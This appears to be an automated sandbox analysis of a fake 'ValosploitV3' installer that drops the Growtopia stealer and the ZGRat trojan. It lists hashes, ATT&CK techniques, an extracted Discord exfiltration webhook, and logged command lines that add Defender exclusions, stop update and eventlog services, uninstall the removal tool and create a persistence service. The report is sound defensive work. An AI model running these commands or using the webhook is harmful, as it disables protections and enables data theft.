growtopia | f7ba1f62f5168638cbe3ccf0df5af38f68b55962ea3a639f6d0e2a464ab180a0

Analysis

max time kernel
77s
max time network
144s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
20-02-2024 18:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ValosploitV3_Installer/Installer.exe
Size

12.6MB
MD5

e560d8abab1b94fa698c5164b10c4fa5
SHA1

7b7e2334f06610ebcb9ac796c471961df6a6c377
SHA256

817cac7fcfdc0f48444c45be772997707761e2ca1e43e8d53f8f7e0e7a1e42b0
SHA512

cc546819fbf9cb40c8bd7c9f686b2d7e189b624fc94a8075e0a43ebcf83d28ed4fc51227c3450e94de91e2c72ce6ce68d7f5e6f8e9e390406da4bcc32470af16
SSDEEP

196608:MgINJY5ucj/+mDZR65PzwNVnQwOsayF0RjPLIp+I3U84IXrTNtNp0GIUOueu/ty:MR+59nYRzw0wlF0RjPLIECU84EJ49h

Score

10^/10

growtopia zgrat evasion persistence pyinstaller rat stealer

Malware Config

Extracted

Family

growtopia

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Signatures

Detect ZGRat V1 34 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2264-47-0x0000000000600000-0x000000000066C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-71-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-73-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-79-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-77-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-81-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-99-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-103-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-107-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-109-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-111-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-119-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-127-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-125-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-123-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-121-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-117-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-115-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-113-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-105-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-101-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-97-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-95-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-93-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-91-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-89-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-87-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-85-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-83-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-75-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-69-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-67-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-64-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1
behavioral1/memory/2264-61-0x0000000000600000-0x0000000000665000-memory.dmp	family_zgrat_v1

Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 9 IoCs

Processes:

Ilkdt.exeWinHostMgr.exeWinErrorMgr.exeKeyGeneratorI.exeSahyui1337.exeKeyGeneratorI.exeWinErrorMgr.exebauwrdgwodhv.exe

pid	process
2264	Ilkdt.exe
2860	WinHostMgr.exe
2788	WinErrorMgr.exe
3032	KeyGeneratorI.exe
1780	Sahyui1337.exe
2968	KeyGeneratorI.exe
2128	WinErrorMgr.exe
480
1540	bauwrdgwodhv.exe

Loads dropped DLL 10 IoCs

Processes:

Installer.exeKeyGeneratorI.exeWinErrorMgr.exeKeyGeneratorI.exe

pid	process
2392	Installer.exe
2392	Installer.exe
2392	Installer.exe
2392	Installer.exe
2392	Installer.exe
2392	Installer.exe
3032	KeyGeneratorI.exe
2788	WinErrorMgr.exe
2968	KeyGeneratorI.exe
480

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

3 discord.com
2 discord.com

flow	ioc
3	discord.com
2	discord.com

Drops file in System32 directory 2 IoCs

Processes:

WinHostMgr.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	WinHostMgr.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

wusa.exe

description ioc process

File created C:\Windows\wusa.lock wusa.exe
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

344 sc.exe
1980 sc.exe
2580 sc.exe
1868 sc.exe
1660 sc.exe
2868 sc.exe
2424 sc.exe
1652 sc.exe
2784 sc.exe
2700 sc.exe
288 sc.exe
1440 sc.exe
2272 sc.exe
2992 sc.exe

description	ioc	process
File created	C:\Windows\wusa.lock	wusa.exe

pid	process
344	sc.exe
1980	sc.exe
2580	sc.exe
1868	sc.exe
1660	sc.exe
2868	sc.exe
2424	sc.exe
1652	sc.exe
2784	sc.exe
2700	sc.exe
288	sc.exe
1440	sc.exe
2272	sc.exe
2992	sc.exe

Detects Pyinstaller 5 IoCs

pyinstaller

Processes:

resource	yara_rule
\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller
\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

1412 schtasks.exe

pid	process
1412	schtasks.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10aef7a72a64da01	powershell.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exeSahyui1337.exeWinHostMgr.exebauwrdgwodhv.exepowershell.exe

pid	process
2688	powershell.exe
1780	Sahyui1337.exe
1780	Sahyui1337.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
2860	WinHostMgr.exe
1540	bauwrdgwodhv.exe
2104	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

powershell.exeIlkdt.exeSahyui1337.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	2264	Ilkdt.exe
Token: SeDebugPrivilege	1780	Sahyui1337.exe
Token: SeShutdownPrivilege	2384	powercfg.exe
Token: SeShutdownPrivilege	1376	powercfg.exe
Token: SeShutdownPrivilege	1984	powercfg.exe
Token: SeShutdownPrivilege	2284	powercfg.exe
Token: SeDebugPrivilege	2104	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

Processes:

Installer.exeKeyGeneratorI.exeWinErrorMgr.exeWinErrorMgr.execmd.exe

description	pid	process	target process
PID 2392 wrote to memory of 2688	2392	Installer.exe	powershell.exe
PID 2392 wrote to memory of 2688	2392	Installer.exe	powershell.exe
PID 2392 wrote to memory of 2688	2392	Installer.exe	powershell.exe
PID 2392 wrote to memory of 2688	2392	Installer.exe	powershell.exe
PID 2392 wrote to memory of 2264	2392	Installer.exe	Ilkdt.exe
PID 2392 wrote to memory of 2264	2392	Installer.exe	Ilkdt.exe
PID 2392 wrote to memory of 2264	2392	Installer.exe	Ilkdt.exe
PID 2392 wrote to memory of 2264	2392	Installer.exe	Ilkdt.exe
PID 2392 wrote to memory of 2860	2392	Installer.exe	WinHostMgr.exe
PID 2392 wrote to memory of 2860	2392	Installer.exe	WinHostMgr.exe
PID 2392 wrote to memory of 2860	2392	Installer.exe	WinHostMgr.exe
PID 2392 wrote to memory of 2860	2392	Installer.exe	WinHostMgr.exe
PID 2392 wrote to memory of 2788	2392	Installer.exe	WinErrorMgr.exe
PID 2392 wrote to memory of 2788	2392	Installer.exe	WinErrorMgr.exe
PID 2392 wrote to memory of 2788	2392	Installer.exe	WinErrorMgr.exe
PID 2392 wrote to memory of 2788	2392	Installer.exe	WinErrorMgr.exe
PID 2392 wrote to memory of 3032	2392	Installer.exe	KeyGeneratorI.exe
PID 2392 wrote to memory of 3032	2392	Installer.exe	KeyGeneratorI.exe
PID 2392 wrote to memory of 3032	2392	Installer.exe	KeyGeneratorI.exe
PID 2392 wrote to memory of 3032	2392	Installer.exe	KeyGeneratorI.exe
PID 2392 wrote to memory of 1780	2392	Installer.exe	Sahyui1337.exe
PID 2392 wrote to memory of 1780	2392	Installer.exe	Sahyui1337.exe
PID 2392 wrote to memory of 1780	2392	Installer.exe	Sahyui1337.exe
PID 2392 wrote to memory of 1780	2392	Installer.exe	Sahyui1337.exe
PID 3032 wrote to memory of 2968	3032	KeyGeneratorI.exe	KeyGeneratorI.exe
PID 3032 wrote to memory of 2968	3032	KeyGeneratorI.exe	KeyGeneratorI.exe
PID 3032 wrote to memory of 2968	3032	KeyGeneratorI.exe	KeyGeneratorI.exe
PID 2788 wrote to memory of 2128	2788	WinErrorMgr.exe	WinErrorMgr.exe
PID 2788 wrote to memory of 2128	2788	WinErrorMgr.exe	WinErrorMgr.exe
PID 2788 wrote to memory of 2128	2788	WinErrorMgr.exe	WinErrorMgr.exe
PID 2788 wrote to memory of 2128	2788	WinErrorMgr.exe	WinErrorMgr.exe
PID 2128 wrote to memory of 1412	2128	WinErrorMgr.exe	schtasks.exe
PID 2128 wrote to memory of 1412	2128	WinErrorMgr.exe	schtasks.exe
PID 2128 wrote to memory of 1412	2128	WinErrorMgr.exe	schtasks.exe
PID 2128 wrote to memory of 1412	2128	WinErrorMgr.exe	schtasks.exe
PID 1604 wrote to memory of 764	1604	cmd.exe	wusa.exe
PID 1604 wrote to memory of 764	1604	cmd.exe	wusa.exe
PID 1604 wrote to memory of 764	1604	cmd.exe	wusa.exe

C:\Users\Admin\AppData\Local\Temp\ValosploitV3_Installer\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\ValosploitV3_Installer\Installer.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AbQBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHYAcABpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAbgBpACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAcQB2ACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
  "C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2264
- C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2860
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    PID:1896
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1604
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:764
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:344
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1868
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2424
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1652
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:1980
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1376
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1984
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:1440
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:2272
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1660
- C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
    "C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA535.tmp" /F
      4⤵
      Creates scheduled task(s)
      PID:1412
- C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
  "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
    "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2968
- C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
  "C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1780

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1540
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2104
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2764
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2716
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2700
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2992
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2580
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2652
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:1204
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:240
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:1020
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:2720
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
1.8MB

MD5
f06223258558d32b15057b6d51702ffc

SHA1
cf29bfea585fc30f5f2a03ea924cd55dad02aa10

SHA256
26c35afa0783fcbcea457f042b6a65df3870c0321a674a96f5b9079509ed254d

SHA512
ba4ed45afb9bbf034e261ef0cbbe41c97da7d607b0f4c78e914e79c053c1b179392d4890d1de25c8ad0fb7339f643e85214711815afd061c5bfece5a12b9401e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe

Filesize
316KB

MD5
675d9e9ab252981f2f919cf914d9681d

SHA1
7485f5c9da283475136df7fa8b62756efbb5dd17

SHA256
0f055835332ef8e368185ae461e7c9eacdeb3d600ea550d605b09a20e0856e2d

SHA512
9dd936705fd43ebe8be17fcf77173eaaf16046f5880f8fe48fc68ded91ef6202ba65c605980bd2e330d2c7f463f772750a1bd96246fffdc9cb6bf8e1b00a2ccb

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
2.7MB

MD5
bdd7d1d36355b43223961579f6690fee

SHA1
d7ddd781022eaee86bf7e141fdfcff3d814da5cc

SHA256
6cd6188e36313ce2e7c3a3b391ad818214e56382d41ae2725a5af666c6b95ab0

SHA512
6e97dee496a0c27d495835509b3b189e3b43b87afff3067f2139d70da488938510103fb134244cc9a6d0b26817e2a1e3166bbebcc4d6451aeba7ddd1997ef0db

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
3.3MB

MD5
0b7292b58b61b4f37d649a7c51043f74

SHA1
d0a003b3376cf8fd637e0d47a320381efca47f22

SHA256
8841b43801362cba95ac40f854001722b61ce91a1ad7b1793a449e84597848fa

SHA512
1b455c462b0b741304ac3ffe931b6fa48dde8030c49fc2739f2530b5a71dbcf3918aa1e9e17c439506ade7412dbb74b50e8969acd58ce929ab2af73610bea6dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
3.4MB

MD5
696ada333bc251b944bc0e403d06f980

SHA1
512589726dda13e0b117c7c2aae8054ee47361ce

SHA256
c48562b45269ef3462f9f63ab940bdb72fd1635aac67249c94b3f810b72b4e6b

SHA512
bac26d5b242da19a943e21cdd0c591660ef6b99a5e27a64921733180917d6237a3e0520844d038a49b862bbfb75b82e961cc49ace8634e55250d0a057f09bc8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30322\python312.dll

Filesize
1.8MB

MD5
2e703364f44bb26a4c0f1731d4cca35f

SHA1
6b00b8ef80ee4ce5bb71f7adc8149e7f5c6573ab

SHA256
e5c10dc621fb209ea05bdc31fea94b45562683314ca82486480876014e2f9ca7

SHA512
a029817906cc153e0b3f7161e0667eae1c98906ad547c5fef36e34b5943ffd34b7d6dcbfee441746a0786227e6355e4489f908ba8db800b4300d59d506298635

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA535.tmp

Filesize
1KB

MD5
7f673f709ab0e7278e38f0fd8e745cd4

SHA1
ac504108a274b7051e3b477bcd51c9d1a4a01c2c

SHA256
da5ab3278aaa04fbd51272a617aef9b903ca53c358fac48fc0f558e257e063a4

SHA512
e932ccbd9d3ec6ee129f0dab82710904b84e657532c5b623d3c7b3b4ce45732caf8ff5d7b39095cf99ecf97d4e40dd9d755eb2b89c8ede629b287c29e41d1132

Download Submit
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
2.1MB

MD5
12442208e8e2011bc38e10b1b58b3577

SHA1
e1ff156a48470160e7b5d6ab27845181afb3a6ef

SHA256
91e6d5b3bef5030dc9afab3efbad911a2955ffcc95a4936ec0d8482d826210fe

SHA512
d4411962e7ec0fa972bc406866b1f6ad243c69ddce86dd0e20793566cf569080b9f36a6595e7033e8135a56b948e350176c5e83b985675a91298a914f1aed7bc

Download Submit
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
1.7MB

MD5
dd172ce9dc74eda8c656d0f86ac7b863

SHA1
58e789859485166c4da2e79ee5183cf64963958d

SHA256
a4fe1193fc32ede3781e6e48e274ed7b53efd99fadda69307017aec81071e0fe

SHA512
30356ccdc2330a5743f533d214c1040d51b27feedabaf8bc0b6f7707f5515c3722e105c6c8767ee74c4f38109b7b3e7275f8a1d9f718fc6b1d30b067c4da54a4

Download Submit
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
2.2MB

MD5
44cd4ee351d1ea4a451fe85e7ff3558a

SHA1
730be204fd838d346735ee95dcb9e08d2c19e10a

SHA256
2869bf08da6b2bf8b2e110755640f0998ed0091335bb7c8ba70f97c44f62a206

SHA512
aae0407d2f9066fe82d74cf883fb8e66eb61e0e78e57d7b4bfd5153601adc391fc18ac50245453807a35b3b864fed8fcce139850294ee9dac3fba7b0fc1f33d3

Download Submit
\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
2.8MB

MD5
ac771655c29a6f97edfdc4ac181dec35

SHA1
44fb2f4abd7361a00059317c72f60cc2c997e8a4

SHA256
c0d9b9e1eaf8355af95eda6e520a8d0a299749ca77cd1c183378a125acab4a11

SHA512
7b309038e22de15eaacdc209610fc9fc2884e29480a6d195e7ac264acac977dfde4e4177787c2d81dba8782698918d259ad82eff1a544e8bd2cecc3343cfabad

Download Submit
\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
1.4MB

MD5
8ff3a4bf7fdf103a175544f5ce036956

SHA1
c4cd8dc0bd30e4226e49ba708804d70966137aa4

SHA256
4d51ef8d9bda28b5de1d7f92f68dd2404d9256a982b8c002a9337480f651ad66

SHA512
d866c8065b5ce3d7264dd24d330e87dc0b9aa31f25c223b04b1d4879092359c913c311ede8cae4160f0f48bb8221b238a1f041da126564dbee786180852e5066

Download Submit
\Users\Admin\AppData\Local\Temp\Ilkdt.exe

Filesize
191KB

MD5
e004a568b841c74855f1a8a5d43096c7

SHA1
b90fd74593ae9b5a48cb165b6d7602507e1aeca4

SHA256
d49013d6be0f0e727c0b53bce1d3fed00656c7a2836ceef0a9d4cb816a5878db

SHA512
402dd4d4c57fb6f5c7a531b7210a897dfe41d68df99ae4d605944f6e5b2cecaafa3fe27562fe45e7e216a7c9e29e63139d4382310b41f04a35ad56115fbed2af

Download Submit
\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe

Filesize
42KB

MD5
d499e979a50c958f1a67f0e2a28af43d

SHA1
1e5fa0824554c31f19ce01a51edb9bed86f67cf0

SHA256
bc3d545c541e42420ce2c2eabc7e5afab32c869a1adb20adb11735957d0d0b0e

SHA512
668047f178d82bebefeb8c2e7731d34ff24dc755dacd3362b43d8b44c6b148fc51af0d0ab2d0a67f0344ab6158b883fe568e4eeb0e34152108735574f0e1e763

Download Submit
\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
2.8MB

MD5
fa2172d978507cc438c4226f809a717d

SHA1
4fb3833b9b5937286254d1c98492f24c2b820e60

SHA256
d40637b269157c11567738e854d3bec7eb5f9aaea3d619efb24b7a4ad4b1744f

SHA512
06df78e6344652cef40400c35a07e52a0138551dde542e323fad8ccae358aec428324b2f163a10416eaeadba1b1f3ff6fad176087c8c5034a9e40376a576adf3

Download Submit
\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
2.9MB

MD5
cd8e2ef57def34a970e5745163551498

SHA1
3d550990c1185f332712257063a43436d6248f6c

SHA256
809e889ad5939fdacf39deaac0c248775db336641772dba9376c5944827d2261

SHA512
6e6ae41da2ef76fd69f365080b1524f69e64e5f3fb330e4ec337bc9ed403789fba4b7b89c6f127f10dbe77b41491ea95d01c268dba6149aeef9848e3d66d6152

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI30322\python312.dll

Filesize
500KB

MD5
3ccf637546d5541c8c987f999320810c

SHA1
bd7f9fbe45303732da94db9612530f0a836fb4f1

SHA256
7a048987840bc874d7cfa268ebe0b28123cc3822c3c23fb884bc6ef4c7df194e

SHA512
938f96bd84180c05d0f477e8b6595d10d69faa3b809a738780bed09b8813721dc8098bed99a645b16995db716d2051164b78e96d79aac5cb60f8c1ed5f1a03d1

Download Submit
\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
2.3MB

MD5
fe17e2a4d00b39d1e024c58de42235e0

SHA1
3d507a50629404e742ef12b63738a7a1f25acd69

SHA256
320c07e51dd67edde9209d6fe0d7c79e1376425c4704fed5479f2298cbcc9200

SHA512
b969cb277fbe22ba179a18ebaa694106b8667b851a8e1d7c8dc0100d507339d27461241c9ca704294972f02f52bbdbdea693f35a491b79a75053b2ed098b7258

Download Submit
\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
